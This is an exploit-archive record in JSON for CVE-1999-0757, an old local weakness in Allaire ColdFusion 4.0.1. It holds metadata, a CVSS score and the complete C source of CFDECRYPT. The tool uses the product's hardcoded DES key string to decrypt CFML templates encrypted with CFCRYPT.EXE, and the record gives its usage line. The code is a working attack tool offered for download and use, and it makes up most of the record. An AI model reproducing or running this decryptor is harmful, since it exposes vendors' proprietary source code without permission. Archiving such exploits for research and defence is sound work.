{"exploit":{"id":"EDB-19220","name":"Allaire ColdFusion Server 4.0.1 - 'CFCRYPT.EXE' Decrypt Pages","description":"Allaire ColdFusion Server 4.0.1 - 'CFCRYPT.EXE' Decrypt Pages","cves":["CVE-1999-0757"],"author":"Matt Chapman","published":"1998-05-19","platform":"windows","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/19220","path":"exploits/windows/local/19220.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-19220.c","vulnerabilities":[{"id":"CVE-1999-0757","state":"PUBLISHED","title":null,"titleSource":null,"description":"The ColdFusion CFCRYPT program for encrypting CFML templates has weak encryption, allowing attackers to decrypt the templates.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-1999-0757","cvss":{"version":"2.0","baseScore":2.1,"severity":"low","vectorString":"AV:L/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-1999-0757"},"updatedAt":"2024-08-01T16:48:37.811Z","retrievedAt":"2026-11-27T14:10:21.858Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-19220.png?v=2","url":"https://exploitbin.com/exploits/EDB-19220","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-19220/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-19220/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\nsource: https://web.archive.org/web/1998/https://www.securityfocus.com/bid/275/info\n\nA vulnerability in ColdFusion allows pages encrypted with the CFCRYPT.EXE utility to be decrypted.\n\nColdFusion supports the ability to \"encrypt\" the CFML templates in an application or component, using the CFCRYPT.EXE utility, so they can be redistributed or sold without exposing the source code to casual viewing. A program that decrypts ColdFusion's encryption has been discovered. This will in effect make the source code for all this propietary CFML applications available to those with access to their encrypted form.\n*/\n\n/* CFDECRYPT: Decrypt Cold Fusion templates encrypted with CFCRYPT\n   Matt Chapman <matthewc@cse.unsw.edu.au>\n\n     Usage: cfdecrypt <encrypted.cfm >decrypted.cfm\n\n   Requires a DES encryption library to compile.\n*/\n\n#include <stdio.h>\n#include \"des.h\"\n\nint main(void)\n{\n\tchar *header = \"Allaire Cold Fusion Template\\012Header Size: \";\n\tchar buffer[54];\n\tint headsize, outlen;\n\tint skip_header;\n\tint len, i;\n\n\tchar *keystr = \"Error: cannot open template file--\\\"%s\\\". Please, try again!\\012\\012\";\n\tdes_cblock key;\n\tdes_cblock input;\n\tdes_cblock output;\n\tdes_key_schedule schedule;\n\n\tif ((fread(buffer, 1, 54, stdin) < 54) || (memcmp(buffer, header, 42)))\n\t{\n\t\tfprintf(stderr, \"File is not an encrypted template\\n\");\n\t\treturn 1;\n\t}\n\n\tif (!memcmp(&buffer[42], \"New Version\", 11))\n\t{\n\t\theadsize = 69;\n\t\tskip_header = 1;\n\t}\n\telse\n\t{\n\t\theadsize = atoi(&buffer[42]);\n\t\tskip_header = 0;\n\t}\n\n\tif ((headsize < 54) || (fseek(stdin, headsize, SEEK_SET) < 0))\n\t{\n\t\tfprintf(stderr, \"Error in file format\\n\");\n\t\treturn 1;\n\t}\n\n\tdes_string_to_key(keystr, &key);\n\tdes_set_key(&key, schedule);\n\toutlen = 0;\n\n\twhile ((len = fread(input, 1, 8, stdin)) == 8)\n\t{\n\t\tdes_ecb_encrypt(&input, &output, schedule, 0);\n\t\toutlen += 8;\n\t\ti = 0;\n\n\t\tif (skip_header)\n\t\t{\n\t\t\twhile (i < 8)\n\t\t\t{\n\t\t\t\tif (output[i++] == 0x1A)\n\t\t\t\t{\n\t\t\t\t\tskip_header = 0;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tfwrite(output + i, 1, 8 - i, stdout);\n\t}\n\n\tfor (i = 0; i < len; i++)\n\t{\n\t\toutput[i] = input[i] ^ (outlen + i);\n\t}\n\n\tfwrite(output, 1, len, stdout);\n\n\treturn 0;\n}","sha256":"01c28a7e8a25868260ea1eef3b7eb4a6b1c09e73a4a8c08515841609b6d3e23c","bytes":2124,"fetchedAt":"2026-11-27T14:10:17.157Z","encoding":"utf-8 (display only; download retains original bytes)"}